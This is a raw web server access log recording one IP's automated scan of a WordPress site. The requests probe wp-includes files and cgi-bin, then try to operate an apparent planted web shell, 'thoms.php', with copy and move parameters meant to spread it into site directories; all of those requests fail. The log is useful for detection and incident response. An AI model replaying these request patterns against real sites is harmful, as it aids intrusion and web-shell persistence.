45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/default-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/css/ HTTP/1.1" 200 2386 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/class-wp-customize-nav-menus.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/class-wp-error.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/class-wp-theme-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/shortcodes.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/SimplePie/ HTTP/1.1" 200 866 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/class-wp-connector-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/class-wp-feed-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/class-wp-recovery-mode-cookie-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/post-formats.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/post-thumbnail-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/class-avif-info.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/class-wp-comment-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/class-wp-user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/feed-rss2.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-role.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/view-config.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-widget-factory.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/block-bindings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-pop3.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block-supports.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/ms-load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-walker-category-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-customize-section.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class.wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/functions.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/link-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/theme.json HTTP/1.1" 200 2361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-smtp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block-list.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block-type-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-oembed-controller.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-paused-extensions-storage.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-textdomain-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/capabilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-requests.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-walker-category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block-metadata-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-hook.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-speculation-rules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-term.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/cron.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-date-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-object-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/class-wp-xmlrpc-server.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/rss-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/theme-templates.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/template-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/wp-includes/widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/cgi-bin/?SA= HTTP/1.1" 200 688 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/cgi-bin/?ND= HTTP/1.1" 200 688 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:09 -0400] "GET /bfl.com.tw/cgi-bin/?MA= HTTP/1.1" 200 688 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:10 -0400] "GET /thoms.php?edit=readme.html&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=readme.html&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:10 -0400] "GET /thoms.php?edit=readme.html&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=readme.html&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fthoms.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fthoms.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fthoms.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fthoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fthoms.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fthoms.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
